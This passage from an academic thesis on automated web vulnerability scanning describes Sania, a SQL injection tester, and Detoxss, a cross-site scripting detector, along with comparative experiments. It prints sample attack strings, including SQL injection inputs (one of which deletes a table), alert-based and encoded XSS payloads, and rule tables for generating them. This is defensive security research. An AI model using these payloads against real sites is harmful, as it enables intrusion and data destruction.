query was changed. On the other hand, Sania can correctly judge dynamic queries us-
ing structure-attributes. In the evaluation of Sania with all attributes, we attached an
arithmeticExpression attribute to the target slot. As a result, Sania successfully avoided
these false positives.

4.5 Testing Real Products
We had a chance to test a production-quality commercial web application developed
by IX Knowledge Inc. [69] with our initial prototype of Sania. This application, RSS-
Dripper, provides RSS information to users based on their previous choices. It is written
in Java Servlet and JSP, developed on Struts [29], and was in the final stage of develop-
ment just before being shipped when we tested it.

The login page in RSS-Dripper accepts two parameters, userid and password.
When a query-string, userid=xxx&password=zzz, is supplied, it issues the following
SQL query:

SELECT USERID, USERNAME, PASSWORD, MAILADDRESS, TIMESTAMP
FROM USERMST WHERE USERID = ’xxx’ AND TRIM(PASSWORD) = ’zzz’.

After Sania executed 32 attacks, it detected one SQL injection vulnerability against a
combination attack with a query-string, userid=\&password= or 1=1--. After the
testing, we confirmed that it was truly vulnerable. By analyzing the source code of
RSS-Dripper, we found that it did not sanitize the backslash.
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Additionally, we found an SQL injection vulnerability in Schoorbs [94], an open-
source web application. This vulnerability resided in an HTML hidden field, which
was supposed to only accept a number. Since it was not properly sanitized, an attacker
can inject an arbitrary SQL statement preceded by a number, such as “2;delete from
schoorbs_room--”. We provided in-depth information on this vulnerability to the
developer, and confirmed that the vulnerability was fixed in the next version.

4.6 Summary
We presented Sania that dynamically generates effective attacks for penetration testing
to efficiently detect SQL injection vulnerabilities. Because it is designed to be used in
the development phase of web applications, it can intercept SQL queries. By investi-
gating the syntax of potentially vulnerable slots in the SQL queries, Sania dynamically
generates precise, syntax-aware attacks. We evaluated our technique using real-world
web applications and Sania was found to be effective. It found 124 SQL injection vul-
nerabilities and generated only 7 false positives when evaluated. In contrast, Paros, a
popular web application scanner, found only 5 vulnerabilities and generated 66 false
positives. We also found vulnerabilities in a production-quality commercial web appli-
cation and in an open source web application.

The reason that Sania succeeds in precisely detecting SQL injection vulnerabilities
is due to its dynamic attack generation mechanism. SQL injection can be successful
when an arbitrary SQL command is embedded into an attack code and the attack code
alters the syntactical structure of the SQL query for activating the malicious SQL com-
mand. In Sania, attack codes are made according to the syntax of each target slot in the
SQL query, while the existing vulnerability scanners use the same attacks to different
target slots. With this dynamic attack generation mechanism in Sania, it succeeds in
detecting vulnerabilities and avoid making unsuccessful attacks.

In our evaluations, Sania produced a few false positives and no false negative by
using Sania-attributes. However, false negatives can still be made in our approach,
when a web application modifies an HTTP parameter or partially selects a sequence of
characters from it, before it is embedded into an SQL query. For example, consider a
comma-delimited HTTP parameter “str=xxx,zzz” and assume that a web application
constructs a separate SQL query for each string. Since Sania identifies an unmodified
HTTP parameter that appears in an SQL query as a target slot, the separated strings in
our example are ignored in our testing. To the best of our knowledge, this logic is only
used in a rare case; the most common cause of SQL injection attacks uses malicious
parameters directly to form SQL queries without any validation or modification. For
this rare case, a Sania-attribute that can identify a delimiter can be available before
detection of target slots.

In addition, our approach may still cause false negatives when a web application
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uses one-time token. A one-time token can be used only once while a session token
can be used infinitely. So, if an attack request uses an expired token, the attack will be
rejected before trying to exploit its target slot. For this case, a Sania-attribute that can
reacquire a new one-time token every time can be made.
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Chapter 5

DETECTION OF XSS
VULNERABILITIES

Cross-site scripting (XSS) is the most common web application attack and a lot of web
applications have issues with XSS. It allows an attacker to inject a malicious script
into a web page viewed by clients, which results in enabling the attacker to access any
cookies, session tokens, or other personal information retained by a user’s browser.
In traditional XSS that we often call reflected XSS, the malicious script is embedded
into an attack code and the attack code alters the syntactical structure of the web page
for activating the malicious script. In this mechanism, in the same way as the SQL
injection introduced in the previous section, the attack code has to be made according
to the syntax of the point into which the attack code appears in the response document,
otherwise client browsers will not activate the malicious code.

In the past few decades, the traditional XSS has evolved into more sophisticated
attacks such as stored XSS and DOM-based XSS. These attacks appeared in response
to the adoption of the Web 2.0 technology. Unfortunately, complex mechanisms make it
difficult to detect vulnerabilities exploited by these new types of XSS. Unlike traditional
reflected XSS, stored XSS appears in a specific web page after a certain page transition
from the page into which a script is injected, while DOM-based XSS occurs in the
user’s web browser without any server involvement. These features of the new types of
XSS pose several challenges to security scanners for web applications.

In this chapter, we present Detoxss, a dynamic analysis technique that can detect
the new types of XSS. It also performs more effective testing for traditional XSS, as
compared to existing techniques. To detect the new types of XSS, Detoxss simulates
page transition and browser behavior. To detect traditional XSS, it dynamically gen-
erates powerful attacks by investigating the syntax of malicious inputs appearing in
response documents. In an experiment using 5 real-world web applications, we com-
pared Detoxss with 6 dynamic analysis tools. The experimental results demonstrate
that Detoxss is more effective than the other dynamic scanners; it discovered more vul-
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Figure 5.1: Design of Detoxss with packet flow

nerabilities and generated fewer false positives and negatives. The results also suggest
that Detoxss is effective in detecting the new types of XSS.

5.1 Detoxss
Detoxss is a technique for discovering reflected, stored, and DOM-based XSS vulnera-
bilities in web applications. It dynamically analyzes HTTP requests and responses, and
generates a sequence of messages that attempts to compromise the target web applica-
tion. Notably, Detoxss performs effective testing to detect stored and DOM-based XSS
vulnerabilities that had long been unrealized by dynamic analysis. To detect stored XSS
vulnerabilities, Detoxss simulates a web client’s page transition from the insertion of
user input to its appearance in a response. To detect DOM-based XSS vulnerabilities,
Detoxss simulates the behavior of a web client’s browser to observe DOM structure
changes after activating the events on a web page.

Even against the traditional XSS as well as new types of XSS, Detoxss can de-
tect more XSS vulnerabilities than can existing dynamic analysis tools. Technically,
Detoxss dynamically generates powerful attacks by investigating the syntax of attack
codes appearing in HTTP responses. By considering syntax, Detoxss can create effec-
tive attacks for each syntax and avoid creating meaningless attacks that could never be
activated.
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5.2 Vulnerability Detection Technique
Detoxss is a vulnerability detection technique using dynamic analysis for discover-
ing reflected, stored, and DOM-based XSS vulnerabilities. Figure 5.1 illustrates the
fundamental design of Detoxss with packet flows. Detoxss launches analysis when it
intercepts an innocent packet between a user’s browser and a web application. Then, it
performs a penetration test for reflected and stored XSS and simulates browser behavior
for DOM-based XSS.

In this section, we introduce Detoxss vulnerability detection technique in compar-
ison with those of existing techniques. Later, Table 5.4 summarizes the techniques
mentioned in this section.

5.2.1 Detection of Reflected XSS Vulnerabilities
In reflected XSS, an attack is immediately embedded in a response that is then sent
back to the user’s browser. We first discuss the existing detection techniques before
describing the Detoxss technique.

5.2.1.1 Existing Techniques

In an XSS, an attacker embeds an attack code at an attack point in an HTTP request. An
attack point appears in a query-string, a cookie, or another HTTP header parameter, and
its value may appear in a target slot in an HTTP response. To cover all XSS possibilities,
recognizing all parameters in an HTTP request as attack points is one solution, but this
is obviously naive and wasteful as performed in [42]. Instead, it is more efficient to
check the response for strings contained in the request as conducted in [95, 96]. For
example, an HTTP request might contain a query-string “name=Bob”, and the response
might contain “Bob” at ø1 in Figure 5.2. In this case, “Bob” is a target slot since it
appears in the response.

After identifying attack points, existing scanners embed an attack code into an
HTTP request to attempt to exploit each target slot. An attack code is usually a pre-
defined string, and attacks are generated by applying every attack code to each attack
point in a request. Although some scanners such as [42, 96] dynamically create part
of an attack code, this does not mean much to the success of the attack because these
scanners only create a randomized string literal that will not change the structure of any
document.

After sending the attack to the web application, the existing scanners analyze the
resulting HTTP response to check whether the attack was successful. To this end, these
scanners perform a string search [97, 42, 96] or use a parser [95, 98]. The string search
looks for an attack code appearing in the target slot in the HTTP response. This ap-
proach is simple but error-prone. Suppose the attack code “<script>alert(1)
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� �
<script>document.write("Hello, ø1!!");</script>
<p id="ø2">Today is ø3.</p><!-- comment:ø4 -->� �

Figure 5.2: XSS target slots (øi: target slot)

</script>” appears as an HTML attribute at ø2 in the HTTP response in the example
of Figure 5.2. Within this attribute, any HTML tag or JavaScript code is recognized
as just a string. A string search, however, recognizes the tag or code as a vulnerability
because it appears in the HTTP response, even though it will not be activated. The same
discussion applies to ø4 in Figure 5.2. On the other hand, more precise investigation is
possible by using a parser, which breaks down a document into small parts consisting
of grammatically meaningful elements. By analyzing these elements, the existing scan-
ners can check whether an attack code appears as an executable script. In the previous
example, this approach would properly recognize that the attack code appears within a
non-executable area.

5.2.1.2 Detoxss for Reflected XSS

Like the existing scanners, Detoxss efficiently identifies target slots in the same way
by investigating strings appearing in responses, and it also detects vulnerabilities in the
same way by using a parser. The difference between Detoxss and the existing scanners
is in the phase of generating attacks.

Detoxss dynamically generates attacks by analyzing responses generated from an
innocent request, and it executes two types of attacks: singular and combination. In
a singular attack, it inserts an attack code into a single target slot. In a combination
attack, it inserts attack codes into two target slots at the same time.

In creating a singular attack, Detoxss first analyzes the syntax in which a target
slot appears in the HTTP response. The syntax is obtained by parsing the response
with several types of parsers, regardless of the document’s file extension, so that it can
properly determine the document format even when the extension is wrongly applied.
In the parsed data, a target slot always appears as a leaf (i.e., terminal) node of a parse
tree. The parent node of a leaf node represents the non-terminal from which the terminal
is derived. We call the type of the non-terminal a syntax. Detoxss generates an attack
code according to the syntax of the target slot.

In Figure 5.2, the syntax of the target slot ø1 is a string in JavaScript grammar. The
attack code for the string (ø1) should have at least one quote to end the string value in the
document. For example, “");alert("xss” can be an attack code for this target slot,
and if successfully exploited, the resulting script will be “document.write("Hello,
");alert("xss!!");”, which activates an unauthorized alert function. For ø3, since
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Table 5.1: Syntax of XSS target slots
Rule name Syntax to be applied Example code
in-header Within header tag <head>ø</head>

in-title Within title tag <title>ø</title>

in-text Any text node ø (as text in HTML)
as-attr HTML attribute w/ quotes <div id="ø"/>

as-attr-w/o-quote HTML attribute w/o quotes <div id=ø/>

part-of-attr At the end of an attribute <a href="search?q=ø"/>

in-js-document Script in JavaScript ø (as script in JavaScript)
js-str String in JavaScript document.write("ø");

js-str-w/o-quote String w/o quotes in JavaScript document.write(ø);

js-line-comment Line comment // ø

js-block-comment Block comment /* ø */

css-property Property element in CSS body{ø:red;}

css-value Value element in CSS body{color:ø;}

it appears as part of a text node in HTML grammar, the attack code should have an
HTML tag such as “<script>alert("xss");</script>”. In this way, Detoxss
generates effective attack codes according to the syntax of each target slot.

Detoxss dynamically generates attack codes by using attack rules. An attack rule
defines how to generate attack codes according to the syntax of a target slot. By thor-
oughly investigating XSS techniques in [21, 16, 22], we found that syntaxes in HTML,
JavaScript, and CSS grammars could be classified into 47 types with respect to the cre-
ation of XSS attack codes. Table 5.1 shows some examples of syntaxes of target slots.
Each attack rule is mapped to the syntax to which a target slot belongs. Table 5.2 lists
examples of attack rules. To facilitate brevity in writing attack rules, we also defined
26 supplementary rules, some of which are listed in Table 5.3. In these tables, a pair of
square brackets indicates an application of another attack rule or a supplementary rule.
For example, Detoxss analyzes ø3 in Figure 5.2 and recognizes that it appears in a text
syntax in HTML, for which the in-text rule is applied. According to the in-text
rule, the script-tag rule is applied first. In turn, according to the script-tag rule,
the first element “<sCrIpT>[alert]</ScRiPt>” is chosen, and then the alert rule
is applied. The resulting attack code is “<sCrIpT>alert(1);</ScRiPt>”. By using
the attack rules, at most 569 attack codes can be generated in the current implementa-
tion. A new attack rule can be easily added to the list, because the rules are defined in
XML.

On the other hand, a combination attack exploits two target slots at the same time.
As shown in Figure 2.2, it is necessary to bury a multi-byte character to nullify a quote
indicating the end of a string. If a target slot is not enclosed in quotes, it is not a
target for a combination attack, because a singular attack can detect the vulnerability,
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Table 5.2: Attack rules (square brackets indicating another rule)
Rule name Attack code
in-header <link rel=stylesheet href=[link-href]/>

in-title </title>[script-tag]

in-text [script-tag] | [img-tag]

as-attr [quote] [attr-breaker]

as-attr-w/o-quote [safe-char] [attr-breaker]

part-of-attr [quote] [src-href-breaker]

in-js-document [alert];

js-str [quote]);[alert];write([quote]

js-str-w/o-quote ); [alert]

js-line-comment [CRLF][alert];

js-block-comment */[alert];/*

css-property color:[css-expr]([alert]);[safe-char]

css-value [css-expr]([alert]);

Table 5.3: Supplementary rules (square brackets indicating another rule)
Rule name Attack code
link-href [js-file] | javascript:alert(1)

img-tag <img src=javascript:alert(1) /> |
<img src=a onerror=alert(1);/> |
<img src=&#x6A;&#x61;&#x76;&#x61;&#x73;
&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;
&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;
&#x31;&#x29;/>

script-tag <sCrIpT>[alert]</ScRiPt> |
<script src=[js-file]></script>

js-file http://***/xss.js

attr-breaker [on-attr] | />[in-text]

css-expr expression | e\xp\re\s\s\i\o\n
on-attr onclick=[alert]

alert alert(1);

safe-char x

quote ’ or " (according to the syntax)
CRLF a newline
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if applicable. In the current implementation, Detoxss only injects “0x82” into the first
target slot and “ onclick=alert(1) s=0x82” into the second as shown in Figure 2.2.

A combination attack attempts to exploit only two target slots at the same time, even
when more than two target slots exist in the same document, because attacking two
target slots is sufficient to detect a vulnerability to a combination attack. For example,
suppose a web application issues the following document.

<span style="ø1">str1</span>
<span style="ø2">str2</span>
<span style="ø3">str3</span> (øi: target slot)

In this example, Detoxss tries to exploit ø1, ø2, and ø3 by injecting a multi-byte charac-
ter into ø1 and an arbitrary attack code into ø3. When the multi-byte character exploits
ø1, the value of the first style attribute becomes “· >str1</span><span style=”.
Then, ø2 needs to close the span tag or add another attribute to activate the attack code
at ø3, because if ø2 breaks the structure of this document, ø3 cannot be activated. Like-
wise, when trying to exploit these three target slots at the same time, an arbitrary attack
code should be injected into ø2, which means that ø2 should be vulnerable. Thus, ap-
plying attack codes to two adjacent target slots is sufficient to check for a vulnerability.

If ø2 is not enclosed in quotes in the previous example, however, then Detoxss tries
to exploit the pair of ø1 and ø3. When ø1 is exploited by a multi-byte character in this
situation, the first style attribute becomes the following.

· >str1</span>
<span style=ν2 >str2</span>
<span style= (νi: a value for a target slot )

It incorporates the value for ø2. Therefore, if a target slot that is not enclosed in quotes
exists between a pair of target slots, that pair can also be used for a combination attack.

5.2.2 Detection of Stored XSS Vulnerabilities
A web application stores user input persistently on a server and uses it in creating a
page that will be served to other users. We especially call such user input as a persistent
parameter. An attack exploiting a persistent parameter is known as a stored XSS.

A vulnerability of a persistent parameter cannot be found without a certain request
that triggers a response containing the value of the persistent parameter. For example,
suppose a request R1 contains a persistent parameter p1 but does not trigger the response
of interest. Then consider a second request R2 that neither contains any parameter
nor triggers the response of interest. Finally, consider a third request R3 that has no
parameter but triggers a response containing p1. In this way, R3 is required to trigger
an attack code injected into p1.
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5.2.2.1 Existing Techniques

As with reflected XSS, the existing scanners [95, 96] use the same technique for iden-
tifying target slots and generating attacks for stored XSS. The difference lies in how
these scanners detect vulnerabilities.

In stored XSS, since an attack code appears in a response served to other users
later, the scanners need to browse the resulting web page containing the injected attack
code, thus activating the attack code in the same way that other users do. Typically, the
scanners first send request containing an attack code, and after sending all attacks, they
access every resulting web page to try to activate the injected attack code. The success
of an attack is also determined in the same way as for reflected XSS: by using a string
search or a parser.

5.2.2.2 Detoxss for Stored XSS

Detoxss also recognizes a persistent parameter as an attack point. The difference from
the existing scanners is that Detoxss records page transition of all HTTP requests and
responses from the insertion of a user input to its appearance. In the previous example,
Detoxss records the page transition from R1 to R3. It records the page transition from
user’s browser navigation at the phase of capturing packets before starting analysis. An
attack code is also generated in the same way as for reflected XSS, by referencing the
syntax of the target slot in the response after R3.

In the vulnerability detection phase, Detoxss uses a flow simulator that generates the
same page transition recorded previously. When Detoxss tries to attack in the previous
example, it sends an attack A1 containing an attack code a1, and it then sends R2 and R3

to trigger the attack. Finally, by using a parser in the same way as for reflected XSS,
Detoxss checks whether the injected attack code a1 can be activated in the response
resulting after R3. As shown here, Detoxss simulates the page transition flow, because
the appearance of a vulnerability is dependent on page transition. For example, a web
application can be implemented to refuse to reply to R3 directly after R1 (i.e., without
sending R2 in between). In this case, the existing scanners cannot reach the response of
interest. By simulating the page transition flow, Detoxss can avoid this issue.

We found a case, however, in which a web application dynamically generates a new
web page each time an attack is sent, and then the new page contains the injected attack
code. An example is a forum web page that allows users to submit content on a new
topic. When the new content is posted, a new page for the topic is created. We call this
newly generated page a transitive page. If a transitive page is vulnerable to stored XSS,
it is difficult to detect the vulnerability because the page’s URL cannot be obtained in
advance, before sending an attack. The existing scanners cannot let the injected attack
code out, since they cannot access the newly generated transitive page.

The URLs of transitive pages typically consist of a series of numbers. For ex-
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ample, suppose the initial forum’s URL is ‘forum?id=1’ and the subsequent one is
“forum?id=2”. It is difficult for existing scanners to automatically prospect this mech-
anism of URL manipulation, because it is highly dependent on the specific web ap-
plication. On the other hand, Detoxss allows a user to input a simple query specifying
which parameter should be changed and how. In the example above, the query becomes
“id=1++”, which indicates to increment the number of id by one for base 1. Since
Detoxss is partly intended for use by web application developers, it is possible for them
to use this approach, because they know the specifications of their applications.

5.2.3 Detection of DOM-Based XSS Vulnerabilities
In DOM-based XSS, an attack is not embedded in an HTTP response, but dynami-
cally generated on the client’s browser. A DOM-based XSS vulnerability is difficult
to discover because it lies in the middle of a program that generates renderable ele-
ments eventually used for activating the attack in the document, but not in the hierarchy
structure of simple tags and nodes that represent visual expressions or meaningful com-
mands. Since an attack is activated by triggering an event on the browser, we focus on
the analysis of the outcome of the event after actually letting the event fire.

5.2.3.1 Existing Techniques

Since the user-supplied input does not appear in the HTTP response in DOM-based
XSS, the existing scanners try to detect possibly dangerous use of functions by perform-
ing a string search within the document. For example, w3af [96] begins by extracting
script code from a script tag, and searches the script for possibly dangerous use of
a function such as document.write or eval. If a function has a string containing
sensitive user information, such as document.URL or window.location, w3af warns
that the web page is vulnerable.

5.2.3.2 Detoxss for DOM-based XSS

Detoxss runs a browser simulator that automatically activates the events in a web page.
This is more effective than searching for dangerous use of functions, since a DOM-
based XSS is launched by an event.

The browser simulator of Detoxss is implemented on a headless browser. A head-
less browser facilitates APIs for providing customizable browsing functionality instead
of the graphical user interface (GUI) by which a regular client browses web pages with
his web browser. A program that extends the APIs is able to access web pages and
behave just like regular clients do, such as clicking an anchor, typing a key, and moving
a mouse pointer as well as using the browser’s functionalities such as saving brows-
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ing history and managing cookies. Detoxss extends the APIs for generating browser
behavior to activate DOM-based XSS by executing every event on a web page.

In the testing phase, Detoxss first considers all the points where a user can insert a
string, such as the values of query-strings and the input fields in an HTML document,
as target slots, since any external input can cause a DOM-based XSS. Then, Detoxss
inserts a malicious string into each target slot. The malicious string contains JavaScript
code to later indicate the success of an attack. For example, the code might contain an
alert function with a unique string in its argument, which will make a pop-up when
it is activated. Finally, Detoxss activates each event in the web page and recognizes the
success of the attack when it captures the pop-up containing the intended message.

5.2.4 Detection of Other XSS Vulnerabilities
In addition to the vulnerability detection against the three types of XSS attacks de-
scribed above, Detoxss conducts other vulnerability detection against XSS with browser
quirks and character encodings, and UTF-7 XSS. Since XSS with browser quirks and
character encodings can be executed as some variants of the three types of XSS, Detoxss
defines attack codes for them in the attack rules. For example, the third item for the
img-tag rule listed in Table 5.3 indicates ‘javascript:alert(1)’ in hex encoding.

A UTF-7 attack can be successful in some browsers if a web page does not specify
the character set and allows users to place a string before a meta tags, as mentioned
in [18]. Detoxss parses an HTML document to check whether it clearly specifies a
character set and does not allow placement of any string before a meta tag. If a web
page does not meet these requirements, Detoxss warns that it is vulnerable.

5.2.5 Improving Accuracy of the Testing
Detoxss also has the mechanism for improving the accuracy of testing by attaching
attributes as Sania does. The attributes are provided after identifying target slots and
before generating attacks, so that Detoxss can display detailed information about target
slots to user, so that it can generate effective attack codes according to the information
given as attributes.

The difference between attributes in Detoxss and Sania is in the use of structure-
attributes; Detoxss does not use structure-attributes. A structure-attribute in Sania is
used for allowing the syntax change of SQL queries. In XSS, a web application often
issues documents that have different structure, as well as the structure of a response
document is dynamically changed at the client side. Because of this, the approach of
checking the structure of the documents for XSS often results in false alerts. To avoid
this, Detoxss parses the response document to search for the script of an attack code.
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5.3 Implementation
We implemented a prototype of Detoxss in Java and a list of attack rules in XML.
Detoxss consists of an HTTP proxy and a core component. The HTTP proxy captures
packets between a browser and a web server, while the core component performs the
tasks described in the previous section.

When the Detoxss program is launched, it waits for innocent HTTP packets. When
a user accesses a target web page with his browser, Detoxss intercepts all HTTP pack-
ets. After automatically identifying target slots by analyzing the intercepted packets,
the user can optionally customize settings for conditional use, such as which target slots
will be excluded from the test and which parameters need to share a value. The queries
for transitive pages can also be specified in this step. The test result is output as an
HTML or XML document with information of target slots and attack codes, so that
users can easily see how the attacks succeeded.

Detoxss’ parsers are implemented using HTML Parser [99], Rhino [100] for Java-
Script, and CSS Parser [101]. In the current implementation, we modified HTML
Parser to recognize browser quirks only related to HTML introduced in [16]. The
browser simulator implementation was based on HtmlUnit [102], which supports Mo-
zilla’s JavaScript engine.

5.4 Experiments
This section presents the results from our experiments. We focused on Detoxss’ vul-
nerability detection capability in comparison with public web application scanners, for
each XSS type.

5.4.1 Comparison with Existing Scanners
For comparison with the existing techniques, we chose six open-source web vulnerabil-
ity scanners. Five of them were the top five search results obtained at sourceforge.net
with the keyword phrase ‘xss vulnerability scanner’ (as of October 12, 2009);
Gamja: Web vulnerability scanner v1.6 [97], Wapiti v2.1.0 [95], SecuBat v0.5 [103],
Paros v3.2.13 [42], and Springenwerk Security Scanner v0.4.5 [98]. The sixth scanner
was w3af v1.0-rc2 [96], which we chose because it can test for DOM-based XSS.

By examining the source code of each open-source vulnerability scanner, we found
the characteristics listed in Table 5.4. The table lists the maximum number of generable
attack codes (Generable attack codes), whether the scanner can pass an authentication
(Auth.), whether it has a crawler that automatically looks for linked pages to be tested
(Crawler), whether it allows users to manually specify a page to be tested (Manual
Crawl), and how it detects vulnerabilities (Detection technique). Although we could
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Table 5.4: Open-source scanners’ techniques

Subject Generable Auth. Crawl Manual Detection technique
attack code Crawl reflected stored DOM-based

Detoxss 569 X X parser flow simulator browser
+ parser simulator

Gamja 1 X string search
Wapiti 41 X X parser parser

SecuBat unknown X unknown
Paros 5 X X X string search

Springen 5 parser
werk 5
w3af 14 X X string search string search string search

Table 5.5: Subject web applications for comparing the capability with existing scanners
Name Auth. Lang. # of vulnerabilities

Vanilla v1.1.4 X php 3
fttss v2.0 php 1

pligg beta v9.9.0 X php 11
javabb v0.99 X java 9

Yazd v3.0 X java 9

not get the source code of SecuBat because it was not publicly available, we surveyed
its characteristics from a conference paper [46].

The subject web applications we selected in this experiment are five web applica-
tions that were also used in a report from Ananta Security [104]. That report actually
considered 13 real-world web applications, but five of them are not vulnerable to XSS,
and we randomly chose five among the rest, as listed in Table 5.5; Vanilla v1.1.4 [105],
fttss v2.0 [106], pligg beta v9.9.0 [107], javabb v0.99 [108], and Yazd Discussion Fo-
rum v3.0 [109]. All of these are interactive web applications that dynamically gener-
ate responses according to requests. The purpose of the report was to evaluate three
popular commercial web vulnerability scanners; AppScan [44], WebInspect [47], and
Acunetix [43]. The report also evaluated Acunetix’s AcuSensor [60], which uses a
technique combining static and dynamic analyses. Using this information, we also
compared our results with those obtained by these commercial software tools.

Table 5.6 summarizes the experimental results by presenting the numbers of de-
tected vulnerabilities (vul), false positives (fp), and false negatives (fn) for each subject
web application and each scanner. The data for the commercial scanners were taken
from the Ananta Security report noted above. In this evaluation, we discovered other
vulnerabilities that were not mentioned in that report. We could not confirm whether
these vulnerabilities were not discovered by the commercial scanners or the author of
the report omitted them, so we did not include them in the results shown here. In this
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Table 5.6: Comparison of vulnerability detection capability among scanners

Subject Vanilla v1.1.4 fttss v2.0 pligg beta v9.9.0 javabb v0.99 Yazd v3.0
vul fp fn vul fp fn vul fp fn vul fp fn vul fp fn

Detoxss 3 0 0 1 0 0 11 0 0 9 0 0 9 2 0
Gamja 0 0 3 0 0 1 1 1 10 3 0 6 5 0 4
Wapiti 0 0 3 1 0 0 7 0 4 2 0 7 4 0 5

SecuBat 0 0 3 0 0 1 0 0 11 0 0 9 0 0 9
Paros 3 0 0 1 0 0 11 0 0 7 0 2 9 0 0

Springenwerk 3 0 0 1 0 0 9 0 2 1 0 8 4 0 5
w3af 2 0 1 1 0 0 10 0 1 3 0 6 6 0 3

AppScan 0 0 3 1 0 0 11 0 0 4 0 5 9 0 0
WebInspect 2 0 1 1 0 0 11 0 0 6 0 3 9 0 0

Acunetix 2 0 1 1 0 0 11 0 0 9 0 0 8 0 1
AcuSensor 3 0 0 1 0 0 11 0 0 N/A N/A

section, we discuss whether the vulnerabilities mentioned in the report were success-
fully found.

As shown in the results, Detoxss detected all vulnerabilities and generated no false
positives or negatives for each subject except Yazd. The reason Detoxss generated two
false positives in Yazd was that one page of Yazd (post.jsp) allows a user to post a
new forum topic, and the page after the post shows all the previous posts. In Detoxss’
testing, one of the remaining attack codes badly affected the later trials. For exam-
ple, the parameter “email” in post.jsp appeared as an HTML attribute and was only
vulnerable to an attack code containing a double quote to end the value of the at-
tribute when it appeared in a preview page. Into this parameter, Detoxss injected an
attack code “"><script>alert(1);</script>”, which we call a1, and this code
remained in the page. We must note that, in the current implementation, Detoxss tries
to use the simplest attack code for each target slot regardless of its syntax, such as
“<script>alert(1);</script>”, which we call a2, for the purpose of understand-
ing the simplicity of each vulnerability. However, a2 was regarded as successful, al-
though it should not have been successful since it had no double quote. This happened
because Detoxss regarded the remaining appearance of a1 as an appearance of a2, since
both strings had the same tag and script. The other scanners did not suffer from this
problem because their number of attack vectors are small, but these scanners also failed
to detect other vulnerabilities.

We consider these false positives forgivable because they resulted from detection of
a vulnerability. This behavior can be constrained by skipping all testing after detection
of a vulnerability at each target slot. This is an implementation issue, however; we plan
to implement a function enabling the user to decide whether testing will be stopped
after detection of a vulnerability.

Some undetected vulnerabilities were due to program errors. For example, Gamja
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tries to skip testing for a web page whose suffix is in a list, “ignore”. When a
variable “tmp” holds the URL of a web page, the code for this should be “$tmp =∼
/\.($ignore)$/i”. In Gamja, however, it is implemented as “$tmp =∼ /\.$ignore
$/i”, which returns true if one of the suffixes in the list appears in any part of “tmp”.

SecuBat did not work well and we were unable to determine why from its docu-
mentation. Note also that AcuSensor could not perform testing of Java applications,
since its static analysis targets only PHP and ASP.NET applications.

Additionally, although the details are not given here, by investigating source code,
we found that some of the scanners have the potential to overlook a vulnerability.
Gamja and Springenwerk try to inject attack codes containing double quotes into an
HTML attribute, but they do not use attack codes containing single quotes. Thus, they
cannot end the value of an HTML attribute enclosed in single-quotes and cannot find
any vulnerability there.

The subject applications we used for this experiment only contained reflected XSS
vulnerabilities. We did another experiment, described in the following section, to eval-
uate detection capability in terms of the different XSS types. In addition, authentication
is an important factor in accessing a web page of interest. We discuss authentication
later, because it reflects well on the next experiment.

5.4.2 Evaluation by XSS types
For this evaluation, we chose two subject web applications, WebGoat v5.2 [110] and
HacmeBank v2.0 [111], which are deliberately insecure web applications designed for
security education. By examining these applications’ manuals, we classified their vul-
nerabilities into the three XSS types as listed in Table 5.7. Although eight of the vul-
nerabilities in WebGoat are labeled as stored XSS vulnerabilities in its manual, they
are also vulnerable to reflected XSS. Since a reflected XSS vulnerability is more funda-
mental and naive than a stored one, we regarded these as reflected XSS vulnerabilities.
For this comparison, we also used the same open-source scanners as in the previous
experiment.

Table 5.8 summarizes the results. Detoxss could detect both stored and DOM-based
XSS vulnerabilities. On the other hand, even though Wapiti and w3af try to detect
stored XSS vulnerabilities, they could not detect them because they do not simulate
page transition flow. For example, one of the stored XSS vulnerabilities in HacmeBank
appears in a page after the next page. Wapiti and w3af, however, only try to access all
the pages in a web application, regardless of the flow. Additionally, because the vul-
nerability was in a transitive page, those scanners could not access the page of interest
after each attack. In contrast, we manually specified a query for Detoxss so that it could
properly access the page of interest and find the vulnerability.

The DOM-based XSS vulnerability in WebGoat is launched by an onkeyup event
when a user types a keyboard, and it dynamically changes part of a web page with
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Table 5.7: Subject web applications for the evaluation by XSS types

Subject Auth. Lang.
# of vulnerabilities

reflected stored DOM
WebGoat X java 13 1 1

HacmeBank X ASP 0 2 0

Table 5.8: Comparison of vulnerability detection capability by XSS vulnerability types
WebGoat HacmeBank

Scanners reflected stored DOM stored
vul fp fn vul fp fn vul fp fn vul fp fn

Detoxss 13 0 0 1 0 0 1 0 0 2 0 0
Gamja 0 0 13 0 0 1 0 0 1 0 0 2
Wapiti 0 0 13 0 0 1 0 0 1 0 0 2

SecuBat 0 0 13 0 0 1 0 0 1 0 0 2
Paros 13 0 0 0 0 1 0 0 1 0 2 2

Springenwerk 0 0 13 0 0 1 0 0 1 0 0 2
w3af 0 0 13 0 0 1 0 0 1 0 0 2

user-supplied content. Typically, sensitive user information does not initially appear in
a raw page but is dynamically created through injection by an attacker. Since w3af tries
to find such strings in a raw page, it failed to detect this vulnerability. Detoxss, on the
other hand, could detect the vulnerability, since its browser simulator confirms whether
an injected malicious string is activated in the dynamically generated content.

For WebGoat, most of the scanners could not even detect its reflected vulnerabili-
ties. This was due to the crawlers that those scanners use, which try to detect a linked
URL appearing as a string in a document. However, to login to WebGoat, the scan-
ners first need to access “http://***/WebGoat/attack” and then enter a user name
and password. The scanners that do not have functionality for authentication could not
pass this phase. After the login, the scanners that could reach this point got a response
containing the following HTML tags.

<form method="post" action="attack">
<input type="submit" value="Start WebGoat" />
</form>

This code defines a button leading to a lesson page. Since the location the button links
to (attack) is the page that the scanners are currently examining, their crawlers could
not find the lesson page. This type of page structure is often seen in web applications
that manage page transition in terms of session. Paros also cannot recognize such
a lesson page by default, but it has a functionality enabling a user to specify which
web pages should be tested before starting the attacks. In this phase, because Paros
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works as an HTTP proxy, it can capture the header information that the user’s browser
sends to the website, which contains an authorized key. With this functionality, we
manually logged in to WebGoat so that Paros could obtain the authorized key. Paros
then successfully accessed the pages after the login via the authorized session, and
it executed testing. Detoxss’ current implementation also offer only this proxy-based
manual crawl to access such authorized pages. Since an automatic crawler saves cost
and time, we plan to implement this capability in the future.

5.5 Summary
We have presented Detoxss, which precisely detects reflected XSS vulnerabilities by
generating attack codes according to the syntax of each target slot in the response doc-
ument. This mechanism is the same as the technique of Sania that detects SQL injection
vulnerabilities by generating attack codes according to the syntax of a target slot in the
SQL query. In XSS, the attack code appears in the web application document in HTML,
JavaScript, CSS, and other types of documents that client browsers can understand. We
prepared an attack generation rule for each syntax of these document, so that Detoxss
